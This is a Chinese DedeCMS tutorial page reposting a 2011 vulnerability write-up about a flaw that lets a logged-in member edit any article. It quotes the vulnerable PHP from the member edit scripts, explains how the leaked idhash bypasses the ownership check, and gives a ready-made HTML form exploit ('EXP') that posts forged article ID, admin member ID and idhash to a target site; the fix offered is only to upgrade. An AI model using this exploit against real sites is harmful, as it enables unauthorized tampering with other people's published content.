• [织梦吧]唯一域名:www.dedecms8.com,织梦DedeCMS学习平台.

当前位置: > DedeCMS教程 > DedeCMS安装使用 >

DEDECMS任意修改文章漏洞及修复

来源: www.dedecms8.com 编辑:织梦吧 时间:2012-01-13点击:

> 网站安全 > 正文 DEDEdedecms8.com">dedecms8.com">CMS任意修改文章漏洞及修复 2011-01-27 11:04:25         我要投稿    [字体: 大]

摘要:发布日期:2011-01.25 发布作者:心灵 影响版本:DEDECMS 官方网站: 漏洞类型:设计缺陷 漏洞描述:这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞! 废话不说 经典对白 看代码! membersoft_edit.php 01 if(empty(...
发布日期:2011-01.25
发布作者:心灵

影响版本:DEDECMS
官方网站:

漏洞类型:设计缺陷
漏洞描述:这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!
废话不说
经典对白 看代码!
membersoft_edit.php

01 if(empty($dopost)) //如果这里是空也就是直接访问这个文件

02 {

03 //读取归档信息

04 $arcQuery = "Select

05 dede_channeltype.typename as channelname,

06 dede_arcrank.membername as rankname,

07 dede_channeltype.arcsta,

08 dede_archives.*

09 From dede_archives

10 left join dede_channeltype on dede_channeltype.id=dede_archives.channel

11 left join dede_arcrank on dede_arcrank.rank=dede_archives.arcrank

12 where dede_archives.id=$aid";

13 //悲剧了 没有验证MID信息 AID这里就是文章ID 可以自定义!

14 $dsql->SetQuery($arcQuery);

15 $row = $dsql->GetOne($arcQuery);

16

17 //省略一堆验证代码....

18 include(DEDEMEMBER."/templets/soft_edit.htm"); //载入模板[code]

19 //再看这个soft_edit.htm 的代码

20 //其中一段是

21 <input type="hidden" value="<?php echo md5($row[id].$cfg_cookie_encode); ?>" />
//输出了 idhash 这个很重要
//这样就得到了要修改文章的idhash

//然后用修改文章的文件去利用


看代码archives_edit.php

01 if($dopost==save)

02 {

03 include(DEDEMEMBER./inc/archives_check_edit.php); //这里是验证idhash

04 //省略一堆没用的代码

05 $upQuery = "Update `dede_archives` set

06 ismake=$ismake,

07 arcrank=$arcrank,

08 typeid=$typeid,

09 title=$title,

10 litpic=$litpic,

11 description=$description,

12 keywords=$keywords,

13 mtype = $mtypesid,

14 flag=$flag

15 where id=$aid And mid=$mid; "; //默认的MID是1 也就是ADMIN管理员 aid就是文章ID


现在看下archives_check_edit.php这个文件

1 $ckhash = md5($aid.$cfg_cookie_encode);

2 if($ckhash!=$idhash) //idhash就是这样用的

3 {

4 ShowMsg(校对码错误,你没权限修改此文档或操作不合法!,-1);

5 exit();

6 }
//这样就成功修改文章了

 

EXP:

 01 <form method="post" action="http://www.t00ls.net/member/archives_edit.php?dopost=save" enctype="multipart/form-data">

02 <label>

03 <input type="text" value="44003" /> //这里是文章ID 自己在plus/view.php里找

04 </label>

05 <label>

06 <input type="text" value="1" /> //发布人的MID 默认ADMIN是1

07 </label>

08 <label>

09 <input type="text" value="1" /> // 栏目ID 不知道的就自己新发表一篇然后看源代码找到可以发布的ID

10 </label>

11

12 <label>

13 <input type="text" value="test" /> //文章标题

14 </label>

15

16 <label>

17 <input type="text" value="test" /> //文章内容

18 </label>

19 <label>

20 <input type="text" value="32bbac95e90baaffad905bb3d44edd9f" /> //idhash 在第一步里说了怎么获取了

21 </label>

22 <label>

23 <input type="text" value="1" /> //验证码。。新发布文章就能获取

24 </label>

25 <div></div>

26 <input value="确定修改 " type="submit">

27 </form>

 
 


这样就能任意修改任何文章了..........

修复:已提交官方,请注意及时升级

点击复制链接 与QQ/MSN好友分享!

分享到:

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力   点击全部查看 上一篇:YuQaIFS V1.0 漏洞0day及修复 下一篇:DEDECMS 会员任意删除文件漏洞及修复 相关文章 图文推荐

标签:

About D8

  • ©2014 织梦吧(d8) DedeCMS学习交流平台
  • 唯一网址 www.DedeCMS8.com 网站地图
  • 联系我们 1170734538@qq.com ,  QQ